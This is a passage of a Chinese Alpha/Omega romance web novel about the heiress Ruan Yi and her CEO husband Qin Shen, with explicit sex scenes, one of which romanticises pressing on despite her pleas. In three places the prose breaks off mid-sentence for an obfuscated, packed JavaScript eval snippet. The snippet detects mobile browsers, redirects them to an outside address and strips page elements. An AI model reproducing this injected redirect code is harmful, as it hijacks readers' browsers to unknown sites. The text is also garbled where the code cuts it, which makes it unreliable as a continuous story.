男人冷淡的声音徐徐地穿透屏幕,即使看不到对面的人是什么表情,阮宜也能想象出对方一副汗涔涔点头的样子。 啧,真是万恶的资本家啊。 冷血、无情。 嗯……倒也不完全。 比如在床上的时候,就还挺烫的。 恶作剧的想法涌上阮宜的心头,甜润的玫瑰香气轻轻蔓延。 那层薄薄的真丝睡裙随着动作上掀,露出一双骨肉匀亭的腿,轻轻地晃着。 晃进人眼里,只觉得白得发光。 当事人偷偷瞥了那边的男人一眼。 他并无任何反应,还是冷淡如冰,没有因为她的“勾引”有任何波动。 阮宜咬了咬唇,不应该啊…… 说好的Alpha对自己的Omega毫无抵抗力呢。 Omega并没有就此屈服。 她赤着那双白嫩的脚,踩在红木地板上。 水晶指甲刮擦过红木纹路,阮宜像猫科动物般撑上实木桌面。 三米长的办公桌,刚好给她留有足够攀爬的余地。 秦深声音冷冷,像凌迟的倒计时:“动作快点。” 阮宜惊得动作一颤,真丝睡裙肩带滑落半寸。 抬头一看,秦深并未抬头,这话是说给屏幕那边的人。 项目经理还在结结巴巴解释进度。 阮宜放轻了动作,轻轻浅浅地到了秦深跟前。她轻盈换了个坐姿,玉白的足尖垂在桌下,像开在藤蔓上的花,摇曳着、晃着。 让人想起昨夜那双长腿盘在男人精瘦腰际的时候。 也是这样诱人地晃着足尖。 足尖晃着晃着,便越来越低。直到足以摩挲到那层精纺羊毛西装裤。 玉白色与深黑色形成了强烈对比。 男人仍然淡淡地盯着屏幕,视频会议恰好切换到季度盈亏表。 阮宜咬了咬唇,足尖胡乱摩挲而过。 ——闷哼随着Alpha信息素流动而逸出,裹挟着那股越来越浓郁的玫瑰香气。 财务总监被吓了一跳。 “总裁?” 10. 第10章 阮宜也被吓了一跳。 她只是踩了踩西装裤,谁想到秦深反应这么大。 足下也能感受出,大腿肌肉明显地绷紧。 果然,这人只是面上装的云淡风轻。 阮宜得意洋洋打算继续触碰,但男人没再给她机会。 秦深微微顺着那只作乱的脚丫,倏然将她往他身前一拽。 于是,众人再次看到总裁消失在镜头里。 只露出半张锋利的侧颜。 阮宜猝不及防地往前扑去,幸好两手撑住才不至于从桌上倒进她怀里。 然而那只玉白的脚,却在胡乱攀附之间,刚好处在男人两条精瘦的长腿中间。 这个位置很是微妙。 还没做什么,阮宜的小脸先红了半张。 秦深眉宇深深地蹙了起来。 想起这人在床上的模样,她咬着唇莫名生出一丝退意。但是看到他冷冽的神情,又莫名涌起一股勇气。 什么嘛!是以为她不敢吗? 阮宜心头那股气又上来了。 知道他还在开会,她不敢出声,只是用口形说:“深,明,大,义。” 笑得像一只偷了腥的小狐狸。 末了,足尖又暧昧地在那处划着圈圈。那个地方,极其明显地便肿胀起来,鼓鼓囊囊非常可观。 阮宜瞪大了一双杏眼。这人……这人怎么这么不知羞! 她咬唇看向秦深,似羞含怒。 男人眸子更深邃了几分,好整以暇地看着她准备做什么。 明明身下都那样……但神色还是没有半点波动。 阮宜羞愤的心情达到了极点。她甩开这男人的手就想跑路,却被秦深牢牢抓住手腕。 挣扎之间,足尖结结实实地踩下去,随后听到的便是男人一声低沉的闷哼。 见他神色有要裂开的意思,阮宜小小的得意了一下,口形说出“不要脸”三个字。 她是仗着他正在开会不敢真的对她做什么。 见她因为自己的波动而得意,秦深有些好笑。 被玫瑰浸透的Omega足尖正游走在Alpha暴起的青筋上,男人突然掐断了蓝牙耳机输入,电脑传来汇报的声音:“这季度的利息……” 阮宜一惊,下意识捂住自己的唇。 而后,男人突然掐住她的脚踝。刚才只是用足尖虚虚踩踏的动作,就这样被他捏着一点点,整只脚彻底落到实处。 彻底感受到形状是怎样的庞然。 温度是怎样的火热 “继续。” Alpha声音哑得可怕。 电脑那端的声音还在继续,而阮宜已经失去反应能力,呆滞地被他捏住那只脚,发烫的脚心摩挲着西装裤。 眼看着男人眼底已经积蓄起情欲的模样,她小声嗫嚅了两句:“你……你还在开会……” 已经不复刚才张牙舞爪的样子,胆子小得像只兔子。 当秦深咬住她锁骨时,与她的呜咽一同响起的,是男人长臂一伸扣下电脑:“会议结束。” 阮宜已经深觉不妙:“秦深你个大流氓!” 他嗓音低沉而沙哑:“小宜,是你先招惹我的。” 语气端的是温和,只是力气没有收敛半分。 周身的乌木沉香更是牢牢地困住了她。 任凭阮宜想要挣脱都没有半点可能,浸到熟悉的alpha信息素气息里便开始不自觉地发软。 腿间的裙子已经被男人的大手推到了腰际,露出那一截纤细又洁白的肌肤。 “这桌子好硬,”阮宜鼓了鼓腮,声音已然带了一丝甜腻,“我没……没想招惹你。” 她只是跟他恶作剧而已,谁知道这个人……说发情就发情…… “省省力气,一会儿再用。”秦深哄她,“坐老公身上,不会硬的。” 才不会,明明他身上更硬! 阮宜还想再辩解两句,只是余下的话全被吞没在男人湿热的吻里。 冷硬的书桌逐渐热了起来,房间里信息素的气息交织缠绕,女人细碎的抽泣绵软又勾人,此起彼伏地响起。 * 第二天又是请假的一天。 阮宜下午才去公司,只觉得浑身酸痛。 小唐兴致勃勃地和她分享新八卦:“昨天老板差点停掉我们的项目,不过好像是老板娘给求情了……老板真的好宠啊,开着会就去和老板娘恩恩爱爱了……” 阮宜哼了一声,嘟哝道:“明明就是大色狼。” 小唐还在那边幻想:“真希望我和我未来的alpha也能这么幸福!” 阮宜白了他一眼:“当心在床上累死。” “你说什么?”小唐没听清,“说起来老板娘人真好,要不是她,我们这个项目可就白忙活这么久了。虽然我讨厌文月,但影响到工作那还是忍忍吧!” 琳达可是答应这个项目结束后给他们发大红包。 “老板娘真是活菩萨!” 阮宜被夸得不好意思了:“没有啦……” “我夸老板娘呢,又没夸你。”小唐拍了拍她的肩膀,“加油吧少女,马上我们就得忙起来了,明天就要正式开录了。” 阮宜:“这么快?赶紧拍完也行。” 小唐点点头:“棚子已经搭好了,就在隔壁。” “也许到时候我们也会出镜一下,我还是第一次上综艺呢!” 阮宜也有点好奇:“不知道电视上的我漂不漂亮?” 小唐无语:“大小姐,你美成这样,拍电影都好看。” 但是小唐又想,其他明星真的愿意让阮宜出镜吗? 感觉她一出镜,那些明星都逊色了。 小唐想得没错,本来说好作为导师出镜的只有孙经理、琳达和甄妮,但是第二天开录的时候,导演昆安一看发现阮宜也在,当即就也想让她出镜。 那天开会昆安就对阮宜很深,身在娱乐圈他见过的美人不少,但是像这样纤秾合度、纯欲到了极致的美人,还是头一次见。 观众都爱看美人,尤其是素人美人。 昆安提出要求后,不待阮宜回复,甄妮先跳了起来:“这怎么能行?她又不是导师!” 小唐下意识反驳:“反正阮宜也是副总监,怎么就不能当导师了!” 甄妮眼都气红了:“凭什么!” 其实阮宜倒真没想过上节目,她又不想出名。 但是看甄妮那副样子,她反而有了几分兴致:“凭我是副总监?凭我专业技能?凭我外形条件?你挑一个好咯。” 甄妮被她一噎,旁边的文月先开口了:“眼看着就要开拍了,阮小姐现在加入,大家的台本可能都需要重新调整,不是很方便吧。” 文月也并不想让阮宜出镜,她这个外形条件实在太优越了。 无论是作为女人、作为Omega还是作为设计师,何况阮宜还是副总监,专业技能显然并不输给她。 昆安想了想:“那就安排偶尔出个镜吧,既然是同部门,那有问题求助也很正常嘛。就是要委屈阮总监你了,这样行不?” 导演话都说到这份上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我这不是怕你夫妻生活不滋润嘛,”乔翘说道,“结果见面一看,不用问我也知道很滋润。” 一向柔和的玫瑰气息里混杂了清冷又霸道的信息素。 不用猜也知道是哪位的手笔。 阮宜脸红了,嘴硬道:“哪有,他才不会滋润我呢……” 说起这个来,乔翘神秘兮兮地凑过来:“我之前给你的用上了吗?” 乔翘当年修的是服装设计,毕业之后自己开了一家公司。不过不同于家里面正儿八经的服装产业,乔翘做的是Omega情趣用品。 阮宜连忙摆手:“没有!” 秦深那副样子,哪需要什么情趣用品。 “没关系,今天我又带了一堆新品。”乔翘拿出身后的盒子,“保准让你生活更滋润!” 没等阮宜推拒,乔翘已经打开了盒子。 先映入眼帘的就是一件蕾丝裙,说是裙子但布料比内衣多不了一点。 两根细细的带子交叉在中间,串起上衣和短裙。 蕾丝做得异常精致,整体镂空的设计,花边是立体的小蝴蝶。 乔翘还在旁边补充:“虽然布料质量很好,但是很容易撕开,绝对方便!” 阮宜呼吸一滞,忍不住想起来之前在书房。 那件真丝睡裙就是被秦深撕坏的。 11. 第11章 眼见着聊到十点,阮宜准备买单回去,乔翘又非要去一楼蹦迪。 皇后之夜的一楼有个舞池,十点正是蹦迪的好时候。乔翘正喝到兴头上,死活不想走,还拉着她一块要去蹦迪。 阮宜不得已准备拉着她去一楼结账,让她蹦俩下过个瘾就走。 结果刚走到吧台,乔翘就开始对旁边一个长得格外清秀的omega动手动脚。 omega瞪了她一眼,乔翘还没半点收敛:“你长得挺好看哈,要不要来姐的公司当男模?” 阮宜哭笑不得地按住她的手,向那个omega表示歉意。 另一只手艰难地从包里拿出钱包扔到吧台上。 一边摁着乔翘张牙舞爪的四肢,一边示意侍应生结账:“2301,你随便拿张卡刷吧。” 乔翘又开始嚎叫:“阮小宜你这个人不地道!你自己性生活过得滋润,我好不容易看中个男模我有错吗!” 阮宜脸蓦地一红,也无暇去看侍应生拿的哪张卡了。 一顿折腾总算把账目结完,阮宜拽着乔翘才出了皇后之夜。 完全没留意后边有人正在注视自己。 看着三凌置业的小公子靠在吧台旁边,酒吧很上道地过来说:“凌公子,您有什么事吗?” 凌楚挠了挠头,还有点不确定:“你知道她们俩名字吗?” 侍应生想了想:“刚才刷卡的时候,看到名字姓秦。” 嚯!还真是那位……阮家的大小姐。 用的还是秦深的卡。 凌楚这下放心了。 虽说皇后之夜这边的男模一向出名,但这位大小姐既然敢用老公的卡,肯定是不会做出什么事情的。 还没等凌楚喘出一口气,侍应生又继续八卦:“这两位刚才可消费了两百多万,今晚点了——十八位男模。” 着重在那个数字上。 凌楚:? 他瞪大了眼睛:“你说什么!” …… 远在港城的半岛酒店。 秦深刚从浴室出来,身上还带着几丝水汽。 他下身只围了一条藏蓝色的浴巾。半湿黑发还坠着水珠,无声无息地沿着流畅的肌理滑入深处。 比平时肃杀的气质多了几分难言的性感。 秦深缓步走到窗前,维港的夜景一览无余。似乎正是这样无言的黑夜,才和他周身墨一般的气质相得益彰。 手机传来叮咚的声音。 秦深随手滑亮屏幕,却不是置顶那人儿的回音。 聊天界面仍然是半小时前的电话未接通。 消息来自穆阳。 【君庭穆阳:老板,已经把刚才溜进房间的人处置了,是港城分公司这边市场部经理的女儿。您看要怎么处理?】 许是他长久未来港城的原因,这边的人好像又忘了秦深一贯的脾性了。 晚上回到酒店房间,刚一推开门,就嗅到了那冲天的信息素味道。 秦深蹙着眉,没半点耐心地释放了Alpha的威压。 刚从沙发上起身的女人,直接被压得昏倒在地。 甚至连腺体都有可能终身受损。 旁边的穆阳强忍着信息素威压,连忙边道歉边叫人将女人拖出去。 秦深随手回了句。 【Q:让刘辙来,他知道怎么处理。】 【Q:再有这类事件发生,让他自请辞职。】 刘辙是港城分公司的总经理,这会儿已然是汗涔涔了。 【君庭穆阳:好的老板。】 放下手机,秦深紧皱的眉没半点舒展。 那阵呛人的信息素似乎还未散去。 他想起家里萦绕着的那阵玫瑰香气。浓郁、娇纵却又很无处不在。 才感觉鼻尖松快了一些。 正当秦深准备再拨个电话的时候,微信先弹出了一条消息。 【猛踹瘸子好腿】哥我是凌楚! 【猛踹瘸子好腿】我在酒吧看到嫂子了!侍应生说嫂子和她好朋友今晚点了十八个男模! 【猛踹瘸子好腿】[视频] 【猛踹瘸子好腿】而且还刷的是你的卡…… 男人刚刚松缓的眉间,又再度皱了起来。 阴沉中,带了怒意。 …… 阮宜今晚睡得很不好。 准确点来说,是前夜睡得很不好。 记得上次秦深离开那么久,她好像也没有不适应。这次反倒是,刚走的第一个晚上,她就想他了。 当然,阮宜不会承认她是心里想他。 最多是omega对于自己的alpha的生理性思念。 她还偷偷地留下了秦深的睡衣,方便她抱着睡。 果然睡衣不如真人啊。 只是到了后半夜,一切都变得不对劲了。 隐隐约约,她似乎梦到一些不可名状的东西。 白皙的身子泛着粉色,痒意从深处传到喉头。 紧咬的贝齿被修长的手指撬开,连带着似泣非泣的声音一同溢了出来。 阮宜挣扎着想要睁开眼睛,却被男人一张大手覆下,遮住了视线。 身体弯出一个奇异的弧度,被迫仰着头回应男人炽热的吻,连带着晶莹的泪珠也被舔舐。 明明不是发.情期……怎么会做这种梦…… 在一波又一波的起伏中,她只觉得自己像一串佛珠,被握在那人的手中反复.把.玩。 直到他兴致尽了,她才得以安然入睡。 再度醒来,天光已经大亮。 阮宜晕乎乎地从睡梦中慢慢恢复知觉。半夜里那一场场起伏,原来并不是梦。 萦绕着的乌木沉香气息,半点都没有收敛,密不透风地裹着她。 来自Alpha的气息,毫无意外地又引得开始发热。 是信息素100%契合的力量。 身后贴上一具男性躯体,伴随着进入耳道的是男人低沉喑哑的声音:“又发.情了?” 明明是暧昧到极致的话语,可偏偏这人说话的声调不带一丝波动。 冷冷的,像沁了雪。 阮宜脸一红。 完蛋,她最喜欢禁欲系了。 不是说去港城出差了吗…… “你怎么……回来了……” 刚出口的质问马上就变得支离破碎,对方没有再给她询问的机会,后续的话皆被吞进沉沉的亲吻里。 炽热的吻落在她的耳廓,秦深不回她的问询,只是一味地行动着:“秦太太还满意吗?” 他手指轻轻抚着,看似温柔,却并不给她挣脱的选择。 像是花匠耐心地舒展开玫瑰花瓣,从而让其依托力气绽放得更美丽。 和他说出这话的态度一样。 她哼哼道,又不得不回应:“满意,满意……” 本能地示弱,想要获得他力度的保留。 “那,秦太太怎么还要……” 他手下力度逐渐加深,如同禁锢一般,牢牢地不容她半分挣脱。 俨然是一副严刑逼供的样子。 男人轻轻地,却又凉凉地开口:“去找别的男人?” 他语气拖得很轻很长,似乎只是正常的询问。 阮宜咬着唇,并不打算讲话,下意识地装傻。 但秦深耐心十分有限,她不肯开口,他就只能逼着她开口。 就像被盯着的玫瑰花瓣,不自觉地瑟瑟发抖,连瓣儿上的露水都开始滚落,越发晶莹剔透。 秦深知道了! 这人分明是来兴师问罪的! 余韵还在回响,阮宜试图装傻抵赖过去:“我不知道……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15114135|164148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦深轻笑一声:“皇后之夜,这么快就忘了?我那张卡上还有账单。” 什么!昨天那个侍应生居然刷了秦深的黑卡。 阮宜眼睛瞪得滚圆。 去酒吧点了男模还用老公黑卡买单还被老公发现了…… 天哪!阮宜都不敢想下去。 秦深垂眸看她,温和道:“要不要提醒你一下?” 不等阮宜连连摇头,他两手微微使力便将她后半截身子抱了起来,不给她任何抵抗地放在他宽厚的怀里。 格外暧昧又出格的姿势。 秦深一手扶着那把纤细的腰肢,一手夹起那张黑卡:“想起来了吗?” 阮宜不得不承认,吐出的话支离破碎“我没有,是乔翘点的,我真的一点都没看……” 秦深低下头,反复地吻着突起的腺体,牙齿轻轻咬含:“小宜这么乖吗?” 他一向是高山白雪的模样,即使是带了点挑逗的意思,也只是喉结微微滚动着。 面上如清泉一般,端的是贵公子的浅淡而凛冽。 好似说出这句话的人,根本不是他。 阮宜紧紧攀着男人的肩,又娇又嗲地讨饶:“我真的没有,秦深。” “我戴了阻隔项链,还打了抑制剂的……” 秦深轻笑了一声:“真的吗?那怎么现在……” 发,情。 那两个字被他的手指在女人大腿一侧缓缓写下。 雪白又娇嫩的肌肤,轻轻地划过就留下了红痕。 阮宜眼角红了一片,还是不肯承认:“呜呜呜我也不知道……” 才怪!要不是秦深的信息素,她怎么会……突然进入发情期。 “嗯?”秦深喉咙里发出一声低低的疑问,“小宜初中没上生理课吗?” 他喟叹一声,斯文地开始普及生理知识:“omega遇到高度契合的alpha,就会很容易受到信息素影响,对不对?” 他语气平淡,和重重的动作仿佛是两个人。 “小宜是受到谁的信息素影响了?” 阮宜抓着他精瘦的脊背求饶:“是你的,最喜欢秦深的信息素了,只喜欢你的……” 半个身体陷进柔软的床榻之中,阮宜的小手胡乱抓着,却不小心抓住了……藏起来的东西。 为了避免佣人发现,阮宜回来的时候,直接把乔翘送的那几件布料带到卧室了。 她偷偷摸摸试穿了一下,在镜子前陶醉了美貌之后,又连忙脱下来,藏在床上了。 秦深留意到她的动作,大手制住那细白的手腕,骨节分明的手指捏住她企图藏起来的那几点布料。 男人眉毛轻挑:“这是什么?” 阮宜本想装死不回答,架不住他动作猛烈,只得小声哼哼道:“乔翘……乔翘给的……” 秦深瞳孔深邃,诱哄着阮宜穿上。 她浑身本来是娇滴滴的玫瑰香气,此时此刻却被更为浓郁的乌木沉香包裹住,霸道得一点也不肯让她周身气息有流露出去的可能性。 像一朵被露水灌满的玫瑰,娇娇地摇曳着。 漂亮的瞳孔一片涣散,只剩下本能的告饶。 “你说好我穿上就轻一点的,秦深你是大骗子!” 她以为讨饶就能获得宽恕,却不知道这副样子,只会让男人有更强的破坏欲和占有欲。 秦深的呼吸明显更重了些,掐着她的腰的力度也变大,似乎要把她揉碎到自己的骨髓里才肯罢休。 他密密地吻着,低声道:“好,马上就结束了。” 阮宜紧紧地抓着他的后背,一边柔顺地承受着他的吻,一边哭泣:“我再也不去了……” “叫老公,好不好,嗯?” “老公……老公……” 一室春光,传出女人的低泣与男人的诱哄。 12. 第12章 阮宜来茶水间接水的时候,刚好接到乔翘的电话。 “你家那位消气了吗?” 乔翘在电话那边心惊胆战,确认她身边没有秦深之后,说话才大声了一点。 之前听阮宜说她要结婚那会儿,乔翘就为自己的好友担心。 她心中的阮宜,那是要被人宠着的。从家人到朋友,谁不都乐意惯着她的小性子。 结果嫁给秦家那位掌权人…… 乔翘家里也是京圈的,一直都知道秦深的威名。 明明都是同一辈,在他们这些二代还在泡A玩O的时候,秦深已经轻轻巧巧越过长辈,独掌秦家大权。 无论是秦家家里人还是董事会,以及京圈里其他家,都知道他处事风格杀伐果决,完全是顶级Alpha猎食者一般的心狠手辣,人送外号“暴君”。 这样的人,会对一个蜜罐子长出来的娇贵omega耐心宠爱吗? 虽然看着阮宜婚后的模样,让乔翘逐渐放下了担心。 但是她还是难免对秦深有点害怕。 毕竟一直以来的传闻,这人都实在太令人心惧了。 阮宜看着咕嘟咕嘟的饮水机,有气无力地回答:“他再不消气,你的亲亲小玫瑰就要被累死了。” 连着几天都没下床。 尤其是他非要她穿上那几件布料的时候。 alpha做这种事情都是不会累的吗? 乔翘在电话那边放下心来:“太不容易了我们大小姐,我过两天一定再送一套给你当成赔罪。” 阮宜:“……” 本来她还担心秦深找乔翘麻烦,结果因为那几套衣服,秦深十分温和地和她说,可以再让朋友多送几套。 狼子野心! 阮宜隔着手机翻了个白眼:“我才不要白白便宜了他,床上让我这么辛苦,一点补偿都没有!没有良心的资本家……” 她话音未落,就看见紧闭的茶水间大门被打开。 男人的身影慢慢走近,露出那张冷淡又俊美的脸。 耳畔还是乔翘的声音:“那你不得趁机敲诈他,我前儿还看到港城拍卖行有个翡翠耳坠……” 阮宜连忙打断她,假装自然地转过身去,一本正经地说道:“怎么会呢,我最喜欢我老公了,我可不舍得和他发脾气。” “更不好意思问我老公要港城拍卖行那对翡翠耳坠,”阮宜捏着嗓子软软开口,俨然一副贤妻模样,“我老公赚钱那么辛苦,我当然要体谅他啦!” “好了不说了,我先挂了。”阮宜一气呵成说完,随后再转过身去,一副吃惊的样子,“老公你怎么在这儿呀?” 秦深不语,只是静静地看着她表演。 阮宜一张小脸适时浮上娇羞:“老公你什么时候进来的呀?” 秦深开口:“你说港城拍卖行那对翡翠耳坠的时候。” 确保他听到了,阮宜这才放心,甜蜜蜜地笑道:“老公你不用给我买的,你多辛苦呀!” “虽然我特别喜欢翡翠,那对耳坠也特别衬我那件翠色旗袍,我有套翡翠项链也刚好缺对耳坠……” 一副坚强又委屈、委屈又坚强的小模样。 全然忘了自己一间的衣帽间就占了别墅的一层。 “明天送到华宫。” 秦深淡淡开口,就看到她的表情瞬间变成了甜蜜蜜的笑,抱着他的胳膊就小鸡啄米似地点头:“老公真好,小宜最喜欢老公!” “是吗?那今天晚上就不辛苦夫人了,”秦深轻巧地捏住她的下巴,一双眸子深如黑墨,“我来辛苦,好吗?” 看着男人似笑非笑地望着她,阮宜小脸腾地爆红。 又生气,又羞耻。 什么嘛! 原来他早就听到了! 那她刚才那顿表演,他也是故意逗她的! 阮宜马上翻脸不认人,抽回一双玉臂,哼哼道:“秦总,您不在顶楼办公,来我们设计部茶水间干嘛呀?” 总裁办连茶水都供应不起了吗? 她义正言辞瞪他一眼:“公司里没有夫妻只有工作,秦总少来找我。” 见她翻脸如翻书那副模样,秦深有些失笑。 他刚要开口,方才被关闭的茶水间大门再度被打开。 文月从外边走了进来,后边还跟着一个跟拍的摄影师。 显然正在录制节目。 看到秦深,她眼睛一亮,这下又不缺镜头了。 文月柔柔一笑:“秦总好,您来视察节目吗?” 后边还跟着摄影师,她不敢太张扬。不过有摄像头在,秦深多半也不会太给她冷脸。 而即使是几句话,后期剪辑也就够用了。 岂料秦深只是冷冷地扫了她一眼,来自alpha的威压被释放出来。 瞬间将她和后边的摄影师压得不敢动态。 随后穆阳就冒了出来,文质彬彬地说道:“不好意思,秦总不入镜,请不要再拍摄了,这段带子请送到总助办公室,我们需要删除掉。” 眼见着秦深离开,文月身后的摄影师弱弱地问:“月月姐,我们还拍吗?” 不待文月回答,先传来一声扑哧的笑。 文月转头看向阮宜,怒觉十分丢脸。 阮宜无辜地看了她一眼,也准备离开。 经过文月的时候,听到女人刻意的低咒:“等你被秦太太发现,最好也能笑出来。” 阮宜敷衍地嗯嗯两声,脚步半点也没停留。 刚回到工位上,她就收到了秦深发的消息。 【Q:下班后来地下车库。】 阮宜才不肯如他所愿。 【软软泡芙:秦总,有事情上班说就好了,我认为同事之间还是有必要保持距离的。】 【软软泡芙:兔兔严肃.jpg】 回复得一本正经,好像完全是公事问题。 秦深眯了眯眼,很有耐心地回复她。 【Q:好。】 【Q:那我现在来市场部找你。】 阮宜:! 她相信秦深真的能做出来。 【软软泡芙:老公我和你开玩笑呢,我下班后肯定会去找你的!】 【软软泡芙:我想吃舒芙蕾,你要提前准备好哦。】 【软软泡芙:兔兔撒娇.jpg】 【Q:嗯。】 看到对方的回复,阮宜才放下了心,深深吸了口气。 小唐凑过来:“小宜姐怎么啦?” 阮宜摆摆手:“没事,有点小麻烦,已解决。” 小唐点点头,愁眉苦脸地和她吐槽:“你这两天没来,节目组都快把公司当成他们家了。” 阮宜前两天被折腾得连请了几天假,再回来办公室,节目已经开始录了。 “尤其是那个文月,她那助理吩咐我们跟吩咐奴才似的。” 阮宜蹙眉:“他们不是在另一间会议室录吗?” 小唐点点头,又摇摇头:“但是那间就只是他们的办公室,其他的都还是和我们正常办公人员一起用。” “明明是我们的公司,又不是他们专用的拍摄场地,一点都不把自己当外人。” 小唐愤愤不平:“用别人的阻隔剂、纸巾都不带眨眼的。” 阮宜吃惊:“真的假的?” 她听说过有些剧组拍戏,去到学校或者医院里,自在得跟在自己家一样,半点不管正常人的生活。 没想到居然真的遇上了。 小唐点点头:“我们都去和琳达姐反映了,你有什么东西也赶紧放起来,千万别被他们翻到。” 阮宜想了想,临走前还是把桌上的东西收拾到了柜子里。 她倒是没有贵重的东西,也就口红粉饼项链什么的。 但是文月这个做法…… 本来阮宜只是懒得因为自己的事和她计较,免得影响他人的工作。 阮宜想了想,还是打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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示意前头的司机可以开车,秦深扣着阮宜的腰,放任她哼唧了一阵,才薄唇轻启:“还要不要吃舒芙蕾了?” 阮宜满足地舒了一口气,点点头。 他一只手从食盒里拿出舒芙蕾,递到她面前。 舒芙蕾松软得不可思议,洒了一层枫糖浆。 车厢内安静至极,平稳地驶过两侧的大楼。天际渐暗,万家灯火逐渐开始亮起。 秦深静静地不作声,只是耐心地等着她吃完一口,掏出手帕擦擦嘴,再继续喂食。 她吃相很好,但还是难免有点碎渣掉到他的西装裤上。 阮宜下意识地想捡起来,纤细的手指刚触碰到他大腿侧紧实的肌肉,就如被烫到一般,飞快地收了回来。 像只鸵鸟一样继续吃着舒芙蕾。 秦深心里轻笑。方才还在他身上小饿猫一样乱蹭,现在却开始装鹌鹑了。 殷红的小嘴吃完了最后一口,鹌鹑抬起头可怜巴巴地问:“我还想再吃一个。” 秦深无情拒绝:“还要吃晚饭。” 被拒绝,阮宜很不开心,挣扎着就要从这个坏人的怀里起身。 坏人并未打算放她离开,阮宜挣扎无果后,低下头委屈又坚强的给自己打气。 “没关系的阮宜,就算老公不给你吃东西,你也要坚强好吗?你是最勇敢的小朋友,不吃也不会饿得头晕对吗?” 说着说着觉得自己委屈得不行,虽然是演的可到最后都把自己说服了,漂亮的瞳孔上泛着一次晶莹的水光。 秦深无奈,抬手抿去她眼角那一丝泪,道:“只能吃一半。” 阮宜这才破涕为笑:“老公真好,小宜最喜欢老公了。” 秦深敛了眸子,轻笑出声。 张口就来的小骗子。 13. 【入V公告】第13章 果不其然,吃晚饭的时候,阮宜只吃了半碗清汤燕菜,咽了两个虾球,就嘟嘟着嘴说饱了。 芳姨连忙关心:“小宜是不是胃口不好,怎么才吃了这么点?” 秦深徐徐地望着她。 阮宜心虚地低下头,打哈哈:“没事儿,就是中午吃多了。” 她着急忙慌要走,胳膊急着去拉椅子,连真丝裙的吊带滑下肩膀都没注意。 秦深扣住她要起身的腰,指尖慢慢往上,牵住吊带将其拉回阮宜肩膀。 他粗粝的指尖动作缓慢,带着灼热的温度。 激起她肌肤莫名的颤栗。 对上他那张沉沉的面容,阮宜决定先发制人:“我吃不了,你总不会要强迫你老婆吃东西吧!” 秦深喉咙里逸出一声笑,无奈道:“我只是让你把这杯竹蔗马蹄水喝了。” 她吃下第二块舒芙蕾的时候,他就知道她晚饭用不了多少了。 只是当时没狠心拒绝她的恳求。 芳姨在旁边解释:“少爷下午就打电话让煮上了,我还多放了糖。” 阮宜看他。 他目光很温和,道:“嗓子都哑了,多少喝一点,嗯?” 阮宜要走的脚步停下,似怒似嗔地瞪他。 这人话里有话,她嗓子哑还不是因为他。 叫得嗓子眼都干了。 面红耳赤地喝了半碗竹蔗马蹄水,阮宜这下是真的饱了。 小肚子有些发鼓,连带着人也懒散。 她不想动弹,纤细的手腕撑着侧脸,眼巴巴地看着秦深。 不明说,但是一副等着他抱她上楼的模样。 秦深喝完那半碗清汤燕菜,半点未所觉地起身,拉开椅子,长身玉立,眼看着就要离开餐桌。 阮宜小脸顿时就垮了,重重地哼一声。 秦深这才有所觉一般,转头看向她,眉毛轻挑,似在问她:“有事?” 阮宜不想主动说出来,噘着嘴要他自己品。 一副“伺候我是你等荣幸”的大小姐模样。 秦深看她,眸子里带有轻轻的笑。 阮宜见他还是不动作,泪水马上就要漾出来。 演技绝佳。说哭就哭。 在水光跃出眼眶之前,秦深无奈地俯下身,耐心哄她:“我有没有这个荣幸,抱这位大小姐上楼?” 大小姐这才破涕为笑,傲娇地点点头,勉强同意。 秦深将她软白的手臂绕过自己的脖颈,一手扣住她的腰,一手托住她的腿弯,将她从椅子上抱起。 真是小哭包。 小哭包很敏锐地听到他在蛐蛐自己,抬眼睨他:“你说什么?” 男人留给她的唯有弧度流畅的下颚,漫不经心道:“说你是水做的。” 小哭包立马领会到他的暗喻,不服气质问:“我怎么爱哭啦?” 秦深稳稳地抱着她上楼,还不忘抽出空来回应:“没说你爱哭,只是说你是水做的。” 走到二楼的时候,他气定神闲斜睨她一眼:“不是吗?” “那怎么……水这么多?” 阮宜还以为是自己听错了。 明明他一开始说的……不是这个水。 反应过来之后,她气呼呼地控诉他:“你怎么大白天就……!” 秦深不置可否:“现在是晚上了。” 阮宜一噎。 大小姐很不高兴,大小姐要下去。 秦深轻易制住她那胡乱蹦跶的细腿,膝盖抵开门,长腿一迈走进浴室。 阮宜本能觉得不对劲。 眼见着硬来不行,她马上换一副面孔,礼貌又乖巧地指使他:“把我放下吧,后面我可以自己来的,谢谢你哦。” 秦深充耳不闻,抱着她放到洗漱台上。 她被大理石台面凉得一瑟缩,眨了眨眼睛,警惕道:“你要干什么?” “你说抱就抱,你说放就放。” 秦深紧实的双臂撑在台面上,将她禁锢在自己的怀里。 他语气平淡,紧盯着她的双眸,却没有半点要放过她的意思:“我是没有良心的资本家,让我做事可是要有报酬的。” 阮宜这才想起来今天在茶水间蛐蛐秦深的那两句话。 这个人怎么还给她来callback。 一时气虚,阮宜大发慈悲地清了两声嗓子:“好吧,那允许你帮我洗脸。” 秦深站在她身前,看她像小兔子一样,乖乖仰起脸来看他。 等人伺候的模样。 